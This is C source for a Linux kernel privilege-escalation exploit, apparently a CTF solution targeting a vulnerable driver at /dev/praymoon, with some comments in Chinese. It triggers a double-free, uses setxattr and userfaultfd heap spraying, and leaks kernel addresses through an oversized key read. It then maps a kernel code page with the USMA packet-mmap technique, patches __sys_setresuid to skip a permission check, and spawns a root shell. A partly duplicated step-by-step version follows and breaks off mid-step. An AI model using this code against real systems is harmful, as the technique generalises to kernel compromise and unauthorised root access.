unsigned long patch_offset = 0x20;                      // 补丁偏移位置
uint8_t patch_bytes[] = {0x90, 0x90, 0x90, 0x90, 0x90}; // 5个NOP指令（x86架构）

// 保存原始字节以便恢复
uint8_t saved_bytes[sizeof(patch_bytes)];               // 保存原始指令
for (size_t i = 0; i < sizeof(patch_bytes); i++) {      // 遍历保存
    saved_bytes[i] = target_memory[patch_offset + i];   // 保存原始字节
}

// 应用补丁
for (size_t i = 0; i < sizeof(patch_bytes); i++) {      // 遍历修改
    target_memory[patch_offset + i] = patch_bytes[i];   // 写入NOP指令
}

// 功能验证示例
void verify_operation(void)
{
    uid_t original_uid = getuid();                       // 获取原始用户ID
    uid_t original_euid = geteuid();                     // 获取原始有效用户ID
    uid_t test_uid = 0;                                  // 测试用户ID

    printf("原始用户ID: %d, 原始有效用户ID: %d\n", original_uid, original_euid);

    // 测试setresuid系统调用
    if (setresuid(test_uid, test_uid, test_uid) == 0) {  // 尝试设置用户ID
        printf("setresuid操作成功！\n");                  // 输出成功信息
        printf("当前用户ID: %d, 当前有效用户ID: %d\n", getuid(), geteuid());

        // 验证权限
        if (geteuid() == 0) {                            // 检查权限
            printf("权限验证成功！\n");                  // 输出成功信息

            // 执行系统操作
            if (system("id") == 0) {                     // 执行id命令
                printf("系统命令执行成功\n");             // 输出成功信息
            }

            // 恢复原始UID
            if (setresuid(original_uid, original_uid, original_uid) == 0) {
                printf("已恢复原始用户ID\n");             // 输出恢复信息
            }
        }
    } else {                                            // 操作失败
        printf("操作未能完成: %s\n", strerror(errno));   // 显示错误信息
    }
}

// 恢复原始代码
void restore_original_code(uint8_t *target_memory, unsigned long patch_offset,
                          uint8_t *saved_bytes, size_t patch_size)
{
    for (size_t i = 0; i < patch_size; i++) {           // 遍历恢复
        target_memory[patch_offset + i] = saved_bytes[i]; // 恢复原始字节
    }

    printf("已恢复原始内核代码\n");                       // 输出恢复信息
}

// Constants
#define KERNEL_MASK 0xfffffffffffff000
#define __SYS_SETRESUID 0xffffffff81088940
#define CRYPTO_LARVAL_DESTROY 0xffffffff81439870
#define IGMP_GQ_TIMER_EXPIRE 0xffffffff81adb9a0
#define UUFD_COUNT 0x10

// Device interaction
#define ADD_CHUNK 0x5555
#define DELETE_CHUNK 0x6666

// Global variables
static int dev_fd = -1;
static int key_id = -1;
static size_t __sys_setresuid = 0;

static uffd_context_t *uffd_context[UUFD_COUNT] = {0};
static size_t *uffd_copy_data = NULL;
static size_t uffd_data[0x1000 / 8] = {0};
static size_t key_payload[0x1000 / 8] = {0};

static struct pgv_config v3_cfg = {
    .proto_ver = PGV_PROTO_V3,
    .blk_size = 0x1000,
    .blk_count = 0x108 / 8,
    .frame_size = 2048,
    .priv_len = 0,
    .timeout = 1000 * 1000 * 1000,
};

/* Device driver interface functions */
static int add_chunk(void) {
    int ret = ioctl(dev_fd, ADD_CHUNK);
    if (ret < 0) {
        log.error("Failed to allocate chunk via device driver");
    }
    return ret;
}

static int delete_chunk(void) {
    int ret = ioctl(dev_fd, DELETE_CHUNK);
    if (ret < 0) {
        log.error("Failed to delete chunk via device driver");
    }
    return ret;
}

/* Function prototypes */
static int initialize_environment(void);
static int trigger_uaf_and_leak_addresses(void);
static int prepare_and_execute_usma_attack(void);
static int patch_kernel_and_escalate(void);

/* Initialize all exploit prerequisites */
static int initialize_environment(void) {
    log.info("=== Phase 1: Initializing Exploit Environment ===");

    // Bind CPU to core 0 for stability
    bind_core(0);

    // Initialize PGV V3 system for user-space page fault handling
    log.info("Initializing PGV V3 system for page fault management");
    if (pgv_init(PGV_PROTO_V3) < 0) {
        log.error("Failed to initialize PGV system");
        return -1;
    }
    sleep(2);
    log.success("PGV V3 system initialized successfully");

    // Setup userfaultfd contexts for page fault monitoring
    log.info("Setting up userfaultfd contexts for page fault monitoring");
    page_range_t range = {1, 1};
    uffd_context[0] = uffd_context_create(2, NULL, NULL, &range, UFFD_VERSION_V1);
    uffd_context[1] = uffd_context_create(2, NULL, NULL, &range, UFFD_VERSION_V1);
    uffd_context[2] = uffd_context_create(2, NULL, NULL, &range, UFFD_VERSION_V1);

    if (!uffd_context[0] || !uffd_context[1] || !uffd_context[2]) {
        log.error("Failed to create userfaultfd contexts");
        return -1;
    }

    // Configure data for the first userfaultfd to modify key_payload->datalen
    uffd_data[0] = 0;
    uffd_data[1] = 0;
    uffd_data[2] = 0x1000;  // This will overwrite key_payload->datalen to 0x1000
    uffd_data[3] = 0;
    uffd_write_safe_page(uffd_context[0], 0, 0x1000 - 0x20, uffd_data, 0x20);
    log.success("Created 3 userfaultfd contexts for page fault handling");

    // Open the vulnerable device driver
    log.info("Opening vulnerable device /dev/praymoon");
    dev_fd = open("/dev/praymoon", O_RDONLY);
    if (dev_fd < 0) {
        log.error("Failed to open /dev/praymoon");
        return -1;
    }
    log.success("Device opened successfully with file descriptor: %d", dev_fd);

    return 0;
}

/* Setup heap state, trigger UAF, and leak kernel addresses */
static int trigger_uaf_and_leak_addresses(void) {
    log.info("=== Phase 2: Triggering UAF and Leaking Kernel Addresses ===");

    // Setup initial heap state with allocate/free pattern
    log.info("Setting up heap state with allocate/free pattern");
    if (add_chunk() < 0) {
        return -1;
    }
    log.debug("Allocated challenge object via driver");

    if (delete_chunk() < 0) {
        return -1;
    }
    log.debug("Freed challenge object, creating double-free condition");

    // Allocate key object overlapping with freed memory
    log.info("Allocating key object to overlap with freed memory");
    key_id = key_alloc("BinRacer", key_payload, 0xf0);
    if (key_id < 0) {
        log.error("Failed to allocate key object");
        return -1;
    }
    log.success("Key object allocated with ID: %d", key_id);

    // Trigger double-free to create UAF condition
    log.info("Triggering double-free to create UAF condition");
    if (delete_chunk() < 0) {
        return -1;
    }
    log.success("Double-free triggered, UAF condition created");

    // Use setxattr+userfaultfd technique to modify key_payload->datalen
    log.info("Using setxattr+userfaultfd technique to modify key_payload->datalen");
    uffd_copy_data = (size_t *)((char *)uffd_get_monitor_region(uffd_context[0]) + 0x1000 - 0x20);
    log.debug("Userfaultfd page fault handler configured at 0x%p", uffd_copy_data);

    log.debug("Calling setxattr to trigger page fault and overwrite key_payload->datalen");
    RUN_JOB(setxattr, "/etc/passwd", "user.test", uffd_copy_data, 0x200, XATTR_CREATE);
    uffd_wait_for_fault(uffd_context[0]);
    log.success("Page fault triggered successfully, key_payload->datalen modified to 0x1000");

    // Perform OOB read to leak kernel pointers
    log.info("Performing OOB read to leak kernel pointers");
    if (key_read(key_id, key_payload, 0x1000) != 0x1000) {
        log.error("Failed to read key payload");
        return -1;
    }
    log.success("OOB read completed, scanning for kernel symbols...");

    // Scan for known kernel symbols in leaked data
    log.info("Scanning leaked memory for known kernel symbols");
    kernel_offset = -1;

    for (int i = 0; i < 0x200; i++) {
        if ((key_payload[i] > kernel_base) &&
            ((key_payload[i] & 0xffff) == (CRYPTO_LARVAL_DESTROY & 0xffff))) {
            log.success("Found crypto_larval_destroy at: 0x%lx", key_payload[i]);
            kernel_offset = key_payload[i] - CRYPTO_LARVAL_DESTROY;
            kernel_base += kernel_offset;
            __sys_setresuid = __SYS_SETRESUID + kernel_offset;
            break;
        }
        if ((key_payload[i] > kernel_base) &&
            ((key_payload[i] & 0xffff) == (IGMP_GQ_TIMER_EXPIRE & 0xffff))) {
            log.success("Found igmp_gq_timer_expire at: 0x%lx", key_payload[i]);
            kernel_offset = key_payload[i] - IGMP_GQ_TIMER_EXPIRE;
            kernel_base += kernel_offset;
            __sys_setresuid = __SYS_SETRESUID + kernel_offset;
            break;
        }
    }

    if (kernel_offset == -1) {
        log.error("Failed to find kernel symbols in leaked data");
        return -1;
    }

    log.success("Kernel offset calculated: 0x%lx", kernel_offset);
    log.success("Kernel base address: 0x%lx", kernel_base);
    log.success("Target function __sys_setresuid at: 0x%lx", __sys_setresuid);

    return 0;
}

/* Prepare and execute USMA attack to map kernel page */
static int prepare_and_execute_usma_attack(void) {
    log.info("=== Phase 3: Executing USMA Attack to Map Kernel Page ===");

    // Prepare page-aligned kernel addresses for USMA mapping
    log.info("Preparing page-aligned kernel addresses for USMA mapping");
    for (int i = 0; i < 0x120 / 8; i++) {
        uffd_data[i] = __sys_setresuid & KERNEL_MASK;  // Align to page boundary
    }

    uffd_write_safe_page(uffd_context[1], 0, 0x1000 - 0x120, uffd_data, 0x120);
    uffd_write_safe_page(uffd_context[2], 0, 0x1000 - 0x120, uffd_data, 0x120);
    log.success("Prepared page-aligned addresses in userfaultfd buffers for USMA");

    // Revoke key and allocate PGV memory
    log.info("Revoking key object to free user_key_payload");
    key_revoke(key_id);
    sleep(2);

    log.info("Allocating PGV object to occupy freed user_key_payload memory");
    pgv_alloc(0, &v3_cfg);
    sleep(1);
    log.success("PGV object allocated successfully");

    // Resume the first page fault processing
    log.info("Resuming first setxattr thread to free its kmalloc-512 buffer");
    uffd_grant_processing(uffd_context[0]);
    sleep(1);
    log.success("First setxattr buffer freed, memory available for reallocation");

    // First setxattr to try to cover pgv object
    log.info("Attempt 1: setxattr allocation to cover pgv object");
    uffd_copy_data = (size_t *)((char *)uffd_get_monitor_region(uffd_context[1]) + 0x1000 - 0x120);
    log.debug("Using UFFD buffer with kernel page address: 0x%lx", uffd_copy_data[0]);
    RUN_JOB(setxattr, "/etc/passwd", "user.test", uffd_copy_data, 0x200, XATTR_CREATE);
    uffd_wait_for_fault(uffd_context[1]);
    log.success("Page fault #1 triggered via setxattr");

    // Second setxattr to increase chance of covering pgv object
    log.info("Attempt 2: setxattr allocation to cover pgv object");
    uffd_copy_data = (size_t *)((char *)uffd_get_monitor_region(uffd_context[2]) + 0x1000 - 0x120);
    log.debug("Using UFFD buffer with kernel page address: 0x%lx", uffd_copy_data[0]);
    RUN_JOB(setxattr, "/etc/passwd", "user.test", uffd_copy_data, 0x200, XATTR_CREATE);
    uffd_wait_for_fault(uffd_context[2]);
    log.success("Page fault #2 triggered via setxattr");

    // Map PGV memory and verify kernel page is mapped
    log.info("Mapping PGV memory to verify USMA attack success");
    pgv_map(0, &v3_cfg);

    char buffer[0x100];
    pgv_read(0, 0x940, 0x100, buffer);
    if (*(uint64_t *)buffer == 0xad0025048b486555) {
        log.success("USMA ATTACK SUCCESSFUL: Kernel page successfully mapped!");
        log.info("Kernel function __sys_setresuid is now accessible from user space");
        hex_dump2("__sys_setresuid function prologue:", buffer, 0x20);
    } else {
        log.warn("WARNING: Unexpected function prologue detected");
        log.warn("USMA attack may have partially failed - attempting to continue anyway");
        hex_dump2("Memory content at offset 0x940:", buffer, 0x20);
    }

    return 0;
}

/* Patch kernel function and escalate privileges */
static int patch_kernel_and_escalate(void) {
    log.info("=== Phase 4: Patching Kernel Function and Privilege Escalation ===");

    char buffer[0x100];

    // Read current instruction at target offset
    log.info("Reading instruction at offset 0xa04 for patching");
    pgv_read(0, 0xa04, 0x100, buffer);
    hex_dump("Current instruction at __sys_setresuid+0xa04:", buffer, 0x10);

    // Patch conditional jump to unconditional jump
    log.info("Patching conditional jump (jnz) to unconditional jump (jmp)");
    char patch[5] = {0xeb};  // jmp rel8 instruction
    if (pgv_write(0, 0xa04, 1, patch) != 1) {
        log.error("Failed to patch instruction at offset 0xa04");
        return -1;
    }
    log.success("Kernel function successfully patched");

    // Verify patch was applied
    log.info("Verifying patch was applied successfully");
    pgv_read(0, 0xa04, 0x100, buffer);
    hex_dump("Patched instruction at __sys_setresuid+0xa04:", buffer, 0x10);

    // Trigger privilege escalation
    log.info("Triggering setresuid(0, 0, 0) to gain root privileges");
    sleep(1);
    RUN_JOB(setresuid, 0, 0, 0);
    log.info("setresuid called, checking for root privileges...");

    // Monitor for root privilege escalation
    log.info("Monitoring for privilege escalation result");
    while (1) {
        if (!getuid()) {
            log.success("PRIVILEGE ESCALATION SUCCESSFUL! Gained root privileges");
            log.info("Current UID: %d", getuid());

            // Restore original instruction
            log.info("Restoring original instruction (jnz) to maintain system stability");
            char restore_patch[5] = {0x75};  // jnz rel8 instruction
            if (pgv_write(0, 0xa04, 1, restore_patch) != 1) {
                log.error("Failed to restore original instruction at offset 0xa04");
                return -1;
            }
            log.success("Original instruction restored successfully");

            // Spawn root shell
            log.success("Spawning root shell...");
            get_root_shell();
            return 0;
        }
        log.debug("Still not root, current UID: %d, retrying...", getuid());
        sleep(1);
    }

    return 0;
}

/* Main exploit execution flow */
int main(void) {
    // Phase 1: Environment setup
    if (initialize_environment() < 0) {
        log.error("Phase 1 failed: Environment setup");
        return -1;
    }

    // Phase 2: Trigger UAF and leak kernel addresses
    if (trigger_uaf_and_leak_addresses() < 0) {
        log.error("Phase 2 failed: UAF and address leak");
        return -1;
    }

    // Phase 3: USMA attack
    if (prepare_and_execute_usma_attack() < 0) {
        log.error("Phase 3 failed: USMA attack");
        return -1;
    }

    // Phase 4: Patching and privilege escalation
    if (patch_kernel_and_escalate() < 0) {
        log.error("Phase 4 failed: Patching and privilege escalation");
        return -1;
    }
    return 0;
}

cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
sched_setaffinity(0, sizeof(cpu_set_t), &set);

pgv_init(PGV_PROTO_V3);
sleep(2);

page_range_t range = {1, 1};
uffd_context[0] = uffd_context_create(2, NULL, NULL, &range, UFFD_VERSION_V1);
uffd_context[1] = uffd_context_create(2, NULL, NULL, &range, UFFD_VERSION_V1);
uffd_context[2] = uffd_context_create(2, NULL, NULL, &range, UFFD_VERSION_V1);

uffd_data[0] = 0;
uffd_data[1] = 0;
uffd_data[2] = 0x1000;
uffd_data[3] = 0;
uffd_write_safe_page(uffd_context[0], 0, 0x1000 - 0x20, uffd_data, 0x20);

dev_fd = open("/dev/praymoon", O_RDONLY);

static struct pgv_config v3_cfg = {
    .proto_ver = PGV_PROTO_V3,
    .blk_size = 0x1000,
    .blk_count = 0x108 / 8,
    .frame_size = 2048,
    .priv_len = 0,
    .timeout = 1000 * 1000 * 1000,
};

ioctl(dev_fd, ADD_CHUNK);

ioctl(dev_fd, DELETE_CHUNK);

key_id = add_key("user", "test_key", key_data, 0xf0, KEY_SPEC_USER_KEYRING);

ioctl(dev_fd, DELETE_CHUNK);

size_t *uffd_copy_data = (size_t *)((char *)uffd_get_monitor_region(uffd_context[0]) + 0x1000 - 0x20);

setxattr("/etc/passwd", "user.test", uffd_copy_data, 0x200, XATTR_CREATE);
uffd_wait_for_fault(uffd_context[0]);

keyctl(KEYCTL_READ, key_id, (unsigned long)leak_buffer, 0x1000);

for (size_t i = 0; i < 0x200; i++) {
    uint64_t value = ((uint64_t *)leak_buffer)[i];

    if (value > 0xffffffff80000000 && value < 0xffffffffffffffff) {
        if ((value & 0xffff) == (CRYPTO_LARVAL_DESTROY & 0xffff)) {
            kernel_offset = value - CRYPTO_LARVAL_DESTROY;
            break;
        }

        if ((value & 0xffff) == (IGMP_GQ_TIMER_EXPIRE & 0xffff)) {
            kernel_offset = value - IGMP_GQ_TIMER_EXPIRE;
            break;
        }
    }
}

target_function = 0xffffffff81088940 + kernel_offset;

kernel_base = 0xffffffff81000000 + kernel_offset;

keyctl(KEYCTL_REVOKE, key_id);
sleep(2);

pgv_alloc(0, &v3_cfg);
sleep(1);

uint64_t aligned_addr = target_function & ~0xFFF;

uffd_grant_processing(uffd_context[0]);
sleep(1);

for (int i = 0; i < 0x120 / 8; i++) {
    uffd_data[i] = aligned_addr;
}
uffd_write_safe_page(uffd_context[1], 0, 0x1000 - 0x120, uffd_data, 0x120);
uffd_write_safe_page(uffd_context[2], 0, 0x1000 - 0x120, uffd_data, 0x120);

// 填充36个目标地址值
for (int i = 0; i < 0x120 / 8; i++) {
    uffd_data[i] = aligned_addr;  // 每个都是目标内核代码页面的基址
}

size_t *uffd_copy_data1 = (size_t *)((char *)uffd_get_monitor_region(uffd_context[1]) + 0x1000 - 0x120);
setxattr("/etc/passwd", "user.test", uffd_copy_data1, 0x200, XATTR_CREATE);
uffd_wait_for_fault(uffd_context[1]);

size_t *uffd_copy_data2 = (size_t *)((char *)uffd_get_monitor_region(uffd_context[2]) + 0x1000 - 0x120);
setxattr("/etc/passwd", "user.test", uffd_copy_data2, 0x200, XATTR_CREATE);
uffd_wait_for_fault(uffd_context[2]);

pgv_map(0, &v3_cfg);

char buffer[0x100];
// 读取偏移0x940处的内容，这是目标函数在页面内的偏移
pgv_read(0, target_function & 0xFFF, 0x100, buffer);